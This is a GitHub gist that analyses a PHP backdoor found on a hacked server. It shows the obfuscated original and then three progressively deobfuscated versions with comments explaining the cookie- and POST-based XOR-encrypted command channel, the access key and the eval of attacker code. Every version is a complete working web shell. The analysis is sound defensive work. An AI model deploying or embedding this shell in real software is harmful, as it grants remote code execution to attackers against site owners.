Skip to content

Instantly share code, notes, and snippets.

@MKorostoff
Created July 26, 2016 03:01
Show Gist options
  • Save MKorostoff/aef36f20c305c638e60c6261481a6c67 to your computer and use it in GitHub Desktop.
Save MKorostoff/aef36f20c305c638e60c6261481a6c67 to your computer and use it in GitHub Desktop.
My attempt to de-obfuscate a PHP exploit file discovered on a hacked server.
<?php
/**
* First, we're going to establish an alphabet. We're never going to write code like:
*
* $foo = 'abc'
*
* Because it would be too easy to read. Instead, were' going to write code like:
*
* $alphabet = 'abcdefghijklmnopqrstuvwxyz';
* $foo = $alphabet[0] . $alphabet[1] . $alphabet[2];
*
* Also, our alphabet is in random order and hex encoded because fuck you.
* We'll name our alphabet $GLOBALS['e25b'] because why not. Translating
* from hex our alphabet is:
*
* YOET8:#0$@;|/7fB\t5rC\n*.L
* )o-SND4[AJ3thvM>`6&kgV 2~"
* zap(Xj'Wq9%QF}H_^s\ry,buZx!
* +Kcl1P?wGni<dIme]R=\{U
*
* So typing $GLOBALS['e2b5'][0] is the same as typing "Y".
* Typing $GLOBALS['e2b5'][1] is the same as typing "O", and so on.
* Note, that escape characters like "\n" and "\t" actually are
* actually one character in our alphabet, not two. That is to
* say, $GLOBALS['e2b5'][20] == "\n"
*/
$GLOBALS['e2b5'] = "\x59\x4f\x45\x54\x38\x3a\x23\x30\x24\x40\x3b\x7c\x2f\x37\x66\x42\x9\x35\x72\x43\xa\x2a\x2e\x4c\x29\x6f\x2d\x53\x4e\x44\x34\x5b\x41\x4a\x33\x74\x68\x76\x4d\x3e\x60\x36\x26\x6b\x67\x56\x20\x32\x7e\x22\x7a\x61\x70\x28\x58\x6a\x27\x57\x71\x39\x25\x51\x46\x7d\x48\x5f\x5e\x73\xd\x79\x2c\x62\x75\x5a\x78\x21\x2b\x4b\x63\x6c\x31\x50\x3f\x77\x47\x6e\x69\x3c\x64\x49\x6d\x65\x5d\x52\x3d\x5c\x7b\x55";
$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][88]] = $GLOBALS['e2b5'][78].$GLOBALS['e2b5'][36].$GLOBALS['e2b5'][18];
$GLOBALS[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80]] = $GLOBALS['e2b5'][25].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88];
$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][85];
$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]] = $GLOBALS['e2b5'][86].$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][35];
$GLOBALS[$GLOBALS['e2b5'][37].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][50].$GLOBALS['e2b5'][91];
$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][91]] = $GLOBALS['e2b5'][52].$GLOBALS['e2b5'][36].$GLOBALS['e2b5'][52].$GLOBALS['e2b5'][37].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][85];
$GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][88]] = $GLOBALS['e2b5'][72].$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][50].$GLOBALS['e2b5'][91];
$GLOBALS[$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][4]] = $GLOBALS['e2b5'][71].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][91];
$GLOBALS[$GLOBALS['e2b5'][72].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][35];
$GLOBALS[$GLOBALS['e2b5'][83].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][13]] = $GLOBALS['e2b5'][67].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][88];
$GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][78]] = $GLOBALS['e2b5'][91].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][80];
$GLOBALS[$GLOBALS['e2b5'][55].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][88]] = $_POST;
$GLOBALS[$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][59]] = $_COOKIE;
@$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]]($GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][44], NULL);
@$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]]($GLOBALS['e2b5'][79].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][44].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][67], 0);
@$GLOBALS[$GLOBALS['e2b5'][18].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7]]($GLOBALS['e2b5'][90].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][74].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][74].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][72].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][25].$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][65].$GLOBALS['e2b5'][35].$GLOBALS['e2b5'][86].$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][91], 0);
@$GLOBALS[$GLOBALS['e2b5'][72].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91]](0);
$r0bebc82 = NULL;
$id72fa0e = NULL;
$GLOBALS[$GLOBALS['e2b5'][90].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][59]] = $GLOBALS['e2b5'][34].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][7];
global $mcfe29;
function eb067f1($r0bebc82, $u8fe83)
{
$he7386 = "";
for ($l805=0; $l805<$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]]($r0bebc82);)
{
for ($ob7d42b=0; $ob7d42b<$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]]($u8fe83) && $l805<$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][59]]($r0bebc82); $ob7d42b++, $l805++)
{
$he7386 .= $GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][41].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][88]]($GLOBALS[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80]]($r0bebc82[$l805]) ^ $GLOBALS[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][80]]($u8fe83[$ob7d42b]));
}
}
return $he7386;
}
function s0b49dd($r0bebc82, $u8fe83)
{
global $mcfe29;
return $GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][78]]($GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][47].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][78].$GLOBALS['e2b5'][78]]($r0bebc82, $mcfe29), $u8fe83);
}
foreach ($GLOBALS[$GLOBALS['e2b5'][85].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][59]] as $u8fe83=>$z33f)
{
$r0bebc82 = $z33f;
$id72fa0e = $u8fe83;
}
if (!$r0bebc82)
{
foreach ($GLOBALS[$GLOBALS['e2b5'][55].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][88]] as $u8fe83=>$z33f)
{
$r0bebc82 = $z33f;
$id72fa0e = $u8fe83;
}
}
$r0bebc82 = @$GLOBALS[$GLOBALS['e2b5'][79].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][13].$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][88]]($GLOBALS[$GLOBALS['e2b5'][83].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][59].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][91].$GLOBALS['e2b5'][13]]($GLOBALS[$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][17].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][80].$GLOBALS['e2b5'][71].$GLOBALS['e2b5'][4]]($r0bebc82), $id72fa0e));
if (isset($r0bebc82[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][43]]) && $mcfe29==$r0bebc82[$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][43]])
{
if ($r0bebc82[$GLOBALS['e2b5'][51]] == $GLOBALS['e2b5'][86])
{
$l805 = Array(
$GLOBALS['e2b5'][52].$GLOBALS['e2b5'][37] => @$GLOBALS[$GLOBALS['e2b5'][88].$GLOBALS['e2b5'][30].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][91]](),
$GLOBALS['e2b5'][67].$GLOBALS['e2b5'][37] => $GLOBALS['e2b5'][80].$GLOBALS['e2b5'][22].$GLOBALS['e2b5'][7].$GLOBALS['e2b5'][26].$GLOBALS['e2b5'][80],
);
echo @$GLOBALS[$GLOBALS['e2b5'][37].$GLOBALS['e2b5'][4].$GLOBALS['e2b5'][14].$GLOBALS['e2b5'][34].$GLOBALS['e2b5'][51].$GLOBALS['e2b5'][47]]($l805);
}
elseif ($r0bebc82[$GLOBALS['e2b5'][51]] == $GLOBALS['e2b5'][91])
{
eval($r0bebc82[$GLOBALS['e2b5'][88]]);
}
exit();
}
<?php
/**
* Now that we've solved for the alphabet, it's a simple matter of find/replacing
* every instance of $GLOBALS['e2b5'][n] with the character it represents. This,
* unfortunately, is only the first level of obfuscation. Once we've converted
* the custom alphabet into a normal english alphabet, we find another problem:
* all the variables and functions have random names.
*/
$GLOBALS['d6cd'] = 'chr';
$GLOBALS['a18a42ca1'] = 'ord';
$GLOBALS['d35ca209'] = 'strlen';
$GLOBALS['rd1c10'] = 'ini_set';
$GLOBALS['v8f3a2'] = 'serialize';
$GLOBALS['d43e'] = 'phpversion';
$GLOBALS['l47dfd'] = 'unserialize';
$GLOBALS['f51aa81b8'] = 'base64_decode';
$GLOBALS['u60ff5e'] = 'set_time_limit';
$GLOBALS['wa90ebe7'] = 's0b49dd';
$GLOBALS['l1f02dcc'] = 'eb067f1';
$GLOBALS['j5ee9d'] = $_POST;
$GLOBALS['n57ef5d59'] = $_COOKIE;
@$GLOBALS['rd1c10']('error_log', NULL);
@$GLOBALS['rd1c10']('log_errors', 0);
@$GLOBALS['rd1c10']('max_execution_time', 0);
@$GLOBALS['u60ff5e'](0);
$r0bebc82 = NULL;
$id72fa0e = NULL;
$GLOBALS['mcfe29'] = '38b2c3ff-4bd0-4fb0-99aa-46936087d510';
global $mcfe29;
function eb067f1($r0bebc82, $u8fe83)
{
$he7386 = "";
for ($l805=0; $l805<$GLOBALS['d35ca209']($r0bebc82);)
{
for ($ob7d42b=0; $ob7d42b<$GLOBALS['d35ca209']($u8fe83) && $l805<$GLOBALS['d35ca209']($r0bebc82); $ob7d42b++, $l805++)
{
$he7386 .= $GLOBALS['d6cd']($GLOBALS['a18a42ca1']($r0bebc82[$l805]) ^ $GLOBALS['a18a42ca1']($u8fe83[$ob7d42b]));
}
}
return $he7386;
}
function s0b49dd($r0bebc82, $u8fe83)
{
global $mcfe29;
return $GLOBALS['l1f02dcc']($GLOBALS['l1f02dcc']($r0bebc82, $mcfe29), $u8fe83);
}
foreach ($GLOBALS['n57ef5d59'] as $u8fe83=>$z33f)
{
$r0bebc82 = $z33f;
$id72fa0e = $u8fe83;
}
if (!$r0bebc82)
{
foreach ($GLOBALS['j5ee9d'] as $u8fe83=>$z33f)
{
$r0bebc82 = $z33f;
$id72fa0e = $u8fe83;
}
}
$r0bebc82 = @$GLOBALS['l47dfd']($GLOBALS['wa90ebe7']($GLOBALS['f51aa81b8']($r0bebc82), $id72fa0e));
if (isset($r0bebc82['ak']) && $mcfe29==$r0bebc82['ak'])
{
if ($r0bebc82['a'] == 'i')
{
$l805 = Array(
'pv' => @$GLOBALS['d43e'](),
'sv' => '1.0-1',
);
echo @$GLOBALS['v8f3a2']($l805);
}
elseif ($r0bebc82['a'] == 'e')
{
eval($r0bebc82['d']);
}
exit();
}
<?php
/**
* Several of the random function names can be directly translated
* using the key from lines 10 through 22 of the previous file.
*/
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);
$r0bebc82 = NULL;
$id72fa0e = NULL;
$GLOBALS['mcfe29'] = '38b2c3ff-4bd0-4fb0-99aa-46936087d510';
global $mcfe29;
function eb067f1($r0bebc82, $u8fe83)
{
$he7386 = "";
for ($l805=0; $l805<strlen($r0bebc82);)
{
for ($ob7d42b=0; $ob7d42b<strlen($u8fe83) && $l805<strlen($r0bebc82); $ob7d42b++, $l805++)
{
$he7386 .= chr(ord($r0bebc82[$l805]) ^ ord($u8fe83[$ob7d42b]));
}
}
return $he7386;
}
function s0b49dd($r0bebc82, $u8fe83)
{
global $mcfe29;
return eb067f1(eb067f1($r0bebc82, $mcfe29), $u8fe83);
}
foreach ($_COOKIE as $u8fe83=>$z33f)
{
$r0bebc82 = $z33f;
$id72fa0e = $u8fe83;
}
if (!$r0bebc82)
{
foreach ($_POST as $u8fe83=>$z33f)
{
$r0bebc82 = $z33f;
$id72fa0e = $u8fe83;
}
}
$r0bebc82 = @unserialize(s0b49dd(base64_decode($r0bebc82), $id72fa0e));
if (isset($r0bebc82['ak']) && $mcfe29==$r0bebc82['ak'])
{
if ($r0bebc82['a'] == 'i')
{
$l805 = Array(
'pv' => @phpversion(),
'sv' => '1.0-1',
);
echo @serialize($l805);
}
elseif ($r0bebc82['a'] == 'e')
{
eval($r0bebc82['d']);
}
exit();
}
<?php
/**
* This file listens for an HTTP request containing 1 cookie. To use this file
* the attacker sends an HTTP request like this:
*
* GET /exploit.php HTTP/1.0
* Cookie: 32rj23nkjej12oje2oij3orh23othj4=sfasdj3orj2o1ijdq3nqjk3rnqo3iu2fw43gw
*
* The cookie contains two pieces of important data. The first part, the cookie
* name, is a decryption key that will be used to decipher the cookie value.
* The cookie value is the main attack payload. It is an encrypted, base64_encoded,
* serialized PHP array.
*
* When the attack payload is decrypted, base64_decoded, and unserialized ultimately
* we end up with a PHP array that can have one of two possible formats. The first,
* and most useful, payload format is:
*
* array(
* 'ak' => '38b2c3ff-4bd0-4fb0-99aa-46936087d510',
* 'a' => 'e',
* 'd' => 'echo "hello world"'
* );
*
* Here 'ak' is an access key, known only to the attacker. 'a' is the 'action'
* (i.e. whether to execute code or just print out the server info). 'd' is the
* arbitrary PHP code the attacker wishes to run. The other supported attack
* payload format is:
*
* array(
* 'ak' => '38b2c3ff-4bd0-4fb0-99aa-46936087d510',
* 'a' => 'i',
* );
*
* This simply prints out the phpversion() for the attacker. Presumably,
* this information is used to determine what exploit code can be safely
* run using the other attack payload fomat mentioned above.
*/
ini_set('error_log', NULL);
ini_set('log_errors', 0);
ini_set('max_execution_time', 0);
set_time_limit(0);
$attack_payload = NULL;
$decryption_key = NULL;
$GLOBALS['access_key'] = '38b2c3ff-4bd0-4fb0-99aa-46936087d510';
global $access_key;
/**
* Helper function to decrypt the attack payload. This is (ironically)
* used to prevent unauthorized users from accessing this exploit file
*/
function decrypt($encrypted_text, $decryption_key) {
$decrypted_text = "";
for ($character=0; $character<strlen($encrypted_text);) {
for ($decryption_key_character=0; $decryption_key_character<strlen($decryption_key) && $character<strlen($encrypted_text); $decryption_key_character++, $character++) {
$decrypted_text .= chr(ord($encrypted_text[$character]) ^ ord($decryption_key[$decryption_key_character]));
}
}
return $decrypted_text;
}
/**
* Everything is encrypted twice, because fuck you. This helper function just
* calls the main encryption function twice.
*/
function _decrypt($encrypted_text, $decryption_key) {
global $access_key;
return decrypt(decrypt($encrypted_text, $access_key), $decryption_key);
}
/**
* First check to see if the attack payload is present in a cookie.
* This is probably a redundancy. If for some reason we are attacking
* a webserver that blocks cookies from untrusted IP addresses, this
* step will fail.
*/
foreach ($_COOKIE as $cookie_name => $cookie_value) {
$attack_payload = $cookie_value;
$decryption_key = $cookie_name;
}
/**
* If sending the attack payload in a cookie failed, try to read the same
* data from POST. If both POST and cookies are blocked (perhaps at the
* WAF level) then this whole exploit will fail.
*/
if (!$attack_payload) {
foreach ($_POST as $post_name => $post_value) {
$attack_payload = $post_value;
$decryption_key = $post_name;
}
}
$attack_payload = unserialize(_decrypt(base64_decode($attack_payload), $decryption_key));
//AK stands for 'access key'
if (isset($attack_payload['ak']) && $access_key == $attack_payload['ak']) {
/**
* "a" stands for "action". There are two supported actions:
*
* - [i]nfo
* - [e]xecute
*
* When the 'info' action is selected, the server will respond with the
* current PHP version and the version of this shell file. If the
* 'execute' action is selected, the server will eval the co[d]e supplied
* in $attack_payload['d']
*/
if ($attack_payload['a'] == 'i') {
$response = Array(
//pv sands for "php version"
'pv' => phpversion(),
//sv stands for "shell version", it is the version of this attack file
'sv' => '1.0-1',
);
echo serialize($response);
}
/**
* This is where the magic happens. If the [e]xecute action has been selected
* eval the PHP co[d]e supplied in $attack_payload['d']
*/
elseif ($attack_payload['a'] == 'e') {
eval($attack_payload['d']);
}
exit();
}
@sanjacob
Copy link

Masterfully explained. Have you ever tried to reverse engineer the encryption algorithm?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment